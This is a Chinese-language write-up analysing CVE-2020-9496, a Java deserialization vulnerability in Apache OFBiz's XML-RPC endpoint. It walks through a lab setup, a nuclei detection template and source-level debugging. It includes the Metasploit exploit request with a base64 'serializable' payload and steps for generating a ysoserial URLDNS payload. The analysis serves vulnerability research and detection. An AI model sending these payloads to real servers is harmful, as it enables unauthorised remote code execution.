0x00 apache ofbiz介紹
OFBiz是一個非常著名的電子商務平台,是一個非常著名的開源項目,提供了創建基於最新J2EE/XML規范和技術標准,構建大中型企業級、跨平台、跨數據庫、跨應用服務器的多層、分布式電子商務類WEB應用系統的框架。 OFBiz最主要的特點是OFBiz提供了一整套的開發基於Java的web應用程序的組件和工具。包括實體引擎, 服務引擎, 消息引擎, 工作流引擎, 規則引擎等。
0x01 漏洞影響版本
< 17.12.04版本
0x02 漏洞環境搭建
參考上述文章,搭建漏洞環境:
wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip
▶ unzip apache-ofbiz-17.12.01.zip
▶ cd apache-ofbiz-17.12.01
▶ sh gradle/init-gradle-wrapper.sh
▶ ./gradlew cleanAll loadDefault
▶ ./gradlew "ofbiz --load-data readers=seed,seed-initial,ext"
▶ ./gradlew ofbiz # Start OFBiz
在IDEA中載入整個項目:
使用Gradle進行debug調試,配置如下:
debug啟動程序后,訪問https://localhost:8443/myportal/control/main
。
- 注:如果遇到
java.lang.UnsupportedClassVersionError: com/android/build/gradle/AppPlugin : Unsupported major.minor version 52.0
錯誤,把at.bxm.gradleplugins:gradle-svntools-plugin:xxx
這處的xxx改成2.2.1。
0x03 POC
id: CVE-2020-9496
info:
name: Apache OFBiz XML-RPC Java Deserialization
author: dwisiswant0
severity: medium
# This temaplte detects a Java deserialization vulnerability in Apache
# OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
# versions prior to 17.12.04.
# --
# References:
# - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
requests:
- raw:
- |
POST /webtools/control/xmlrpc HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
matchers-condition: and
matchers:
- type: word
words:
- "faultString"
- "No such service [ProjectDiscovery]"
- "methodResponse"
condition: and
part: body
- type: word
words:
- "Content-Type: text/xml"
part: header
- type: status
status:
- 200
根據這個yaml,可以了解到,當post一個xml的poc過去后,如果返回包里同時存在faultString
,No such service [ProjectDiscovery]
,methodResponse
證明有漏洞存在。
0x04 漏洞分析
根據/webtools/control/xmlrpc
可知,我們去看webtools下的源碼,來到webapp目錄下的web.xml查看路由情況。
<servlet>
<description>Main Control Servlet</description>
<display-name>ControlServlet</display-name>
<servlet-name>ControlServlet</servlet-name>
<servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>ControlServlet</servlet-name>
<url-pattern>/control/*</url-pattern>
</servlet-mapping>
通過代碼可知道,我們control下面的uri都是轉發到ControlServlet控制器當中。跳轉到org.apache.ofbiz.webapp.control.ControlServlet
的源碼,在doPost里打下斷點。
根據經驗,下面這段代碼才是路由器功能具體細分的代碼,在這之前是對一些列的環境變量進行復制。
try {
// the ServerHitBin call for the event is done inside the doRequest method
requestHandler.doRequest(request, response, null, userLogin, delegator);
}
跟入doRequest函數,先大致的F8走一遍看看。走完第一遍,再走第二遍的時候,根據注釋// run the request event
可以知道,
這塊會根據uri的不同進行java反射機制跳轉到對應的控制類進行操作。跟入runEvent函數:
public String runEvent(HttpServletRequest request, HttpServletResponse response,
ConfigXMLReader.Event event, ConfigXMLReader.RequestMap requestMap, String trigger) throws EventHandlerException {
EventHandler eventHandler = eventFactory.getEventHandler(event.type);
String eventReturn = eventHandler.invoke(event, requestMap, request, response);
if (Debug.verboseOn() || (Debug.infoOn() && "request".equals(trigger))) Debug.logInfo("Ran Event [" + event.type + ":" + event.path + "#" + event.invoke + "] from [" + trigger + "], result is [" + eventReturn + "]", module);
return eventReturn;
}
invoke的出現大概的佐證了我們的想法。跟入invoke:
public String invoke(Event event, RequestMap requestMap, HttpServletRequest request, HttpServletResponse response) throws EventHandlerException {
String report = request.getParameter("echo");
if (report != null) {
BufferedReader reader = null;
StringBuilder buf = new StringBuilder();
try {
// read the inputstream buffer
String line;
reader = new BufferedReader(new InputStreamReader(request.getInputStream()));
while ((line = reader.readLine()) != null) {
buf.append(line).append("\n");
}
} catch (Exception e) {
throw new EventHandlerException(e.getMessage(), e);
} finally {
if (reader != null) {
try {
reader.close();
} catch (IOException e) {
throw new EventHandlerException(e.getMessage(), e);
}
}
}
Debug.logInfo("Echo: " + buf.toString(), module);
// echo back the request
try {
response.setContentType("text/xml");
Writer out = response.getWriter();
out.write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
out.write("<methodResponse>");
out.write("<params><param>");
out.write("<value><string><![CDATA[");
out.write(buf.toString());
out.write("]]></string></value>");
out.write("</param></params>");
out.write("</methodResponse>");
out.flush();
} catch (Exception e) {
throw new EventHandlerException(e.getMessage(), e);
}
} else {
try {
this.execute(this.getXmlRpcConfig(request), new HttpStreamConnection(request, response));
} catch (XmlRpcException e) {
Debug.logError(e, module);
throw new EventHandlerException(e.getMessage(), e);
}
}
return null;
}
來到this.execute
函數,跟入:
public void execute(XmlRpcStreamRequestConfig pConfig,
ServerStreamConnection pConnection) throws XmlRpcException {
try {
Object result = null;
boolean foundError = false;
try (InputStream istream = getInputStream(pConfig, pConnection)) {
XmlRpcRequest request = getRequest(pConfig, istream);
result = execute(request);
} catch (Exception e) {
Debug.logError(e, module);
foundError = true;
}
ByteArrayOutputStream baos;
OutputStream initialStream;
if (isContentLengthRequired(pConfig)) {
baos = new ByteArrayOutputStream();
initialStream = baos;
} else {
baos = null;
initialStream = pConnection.newOutputStream();
}
try (OutputStream ostream = getOutputStream(pConnection, pConfig, initialStream)) {
if (!foundError) {
writeResponse(pConfig, ostream, result);
} else {
writeError(pConfig, ostream, new Exception("Failed to read XML-RPC request. Please check logs for more information"));
}
}
if (baos != null) {
try (OutputStream dest = getOutputStream(pConfig, pConnection, baos.size())) {
baos.writeTo(dest);
}
}
pConnection.close();
pConnection = null;
} catch (IOException e) {
throw new XmlRpcException("I/O error while processing request: " + e.getMessage(), e);
} finally {
if (pConnection != null) {
try {
pConnection.close();
} catch (IOException e) {
Debug.logError(e, "Unable to close stream connection");
}
}
}
}
獲取到了value的值,我們跟入看看getRequest函數。
protected XmlRpcRequest getRequest(final XmlRpcStreamRequestConfig pConfig, InputStream pStream)
throws XmlRpcException {
final XmlRpcRequestParser parser = new XmlRpcRequestParser(pConfig, getTypeFactory());
final XMLReader xr = SAXParsers.newXMLReader();
xr.setContentHandler(parser);
try {
xr.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xr.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
xr.setFeature("http://xml.org/sax/features/external-general-entities", false);
xr.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
xr.parse(new InputSource(pStream));
} catch (SAXException | IOException e) {
throw new XmlRpcException("Failed to parse / read XML-RPC request: " + e.getMessage(), e);
}
final List<?> params = parser.getParams();
return new XmlRpcRequest() {
public XmlRpcRequestConfig getConfig() {
return pConfig;
}
public String getMethodName() {
return parser.getMethodName();
}
public int getParameterCount() {
return params == null ? 0 : params.size();
}
public Object getParameter(int pIndex) {
return params.get(pIndex);
}
};
}
在xr.parse(new InputSource(pStream));
對input流數據進行了處理。
利用msf的exp進行發送測試:
POST /webtools/control/xmlrpc HTTP/1.1
Host: localhost:8443
Content-Type: text/xml
Content-Length: 643
<?xml version="1.0"?>
<methodCall>
<methodName>#{rand_text_alphanumeric(8..42)}</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>#{rand_text_alphanumeric(8..42)}</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
在調試器看到:
從源碼上debug不到后,我就根據調試器里的報錯來查看具體的類:
根據報錯,我們知道了,有內容base64解碼錯誤。根據exp可知道<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
這里面的內容應該是base64后的內容。
然后給<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">MTEx</serializable>
再次發送。
斷點在SerializableParser
:
public class SerializableParser extends ByteArrayParser {
public Object getResult() throws XmlRpcException {
try {
byte[] res = (byte[]) super.getResult();
ByteArrayInputStream bais = new ByteArrayInputStream(res);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
} catch (IOException e) {
throw new XmlRpcException("Failed to read result object: " + e.getMessage(), e);
} catch (ClassNotFoundException e) {
throw new XmlRpcException("Failed to load class for result object: " + e.getMessage(), e);
}
}
}
可知進行readObject是我們base64后的內容,即到達反序列化入口點。
查了一輪資料,根據阿里先知上的文章了解到:
這邊是以XmlRpcRequestParser 為解析器對輸入進行解析,XmlRpcRequestParser 是在 xmlrpc-common-3.1.3.jar 包中,而 xmlrpc-common-3.1.3.jar 則是 Java 中處理 XML-RPC 的第三方庫,最新版本是2013年發布的 3.1.3。XML-RPC 是一種遠程過程調用(remote procedure call)的分布式計算協議,通過 XML 將調用函數封裝,並使用 HTTP 協議作為傳送機制。
當標簽里存在serializable
的時候,會進入到反序列化操作。
使用java -jar yso.jar URLDNS "http://xxxx" > url.bin
,然后:
import base64
# payload = open("url.bin").read()
with open("./url.bin",'rb') as file:
payload = file.read()
bbs = base64.b64encode(payload)
print(bbs)
在dnslog上查看
0x05 注意事項
- 根據最開始提供的poc
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
來進行檢測效果不太好,因為一旦ProjectDiscovery這個server已經有人打過,再打就不會提示No such service ProjectDiscovery
,建議此處換成隨機字符串 - 如果未出現
No such service
不代表不存在,可以使用urldns來進行測試,理論上存在下圖的場景都是有可能存在漏洞的。
0x06 Ofbiz的特征
- 查看response的set-cookie是否帶
OFBiz.Visitor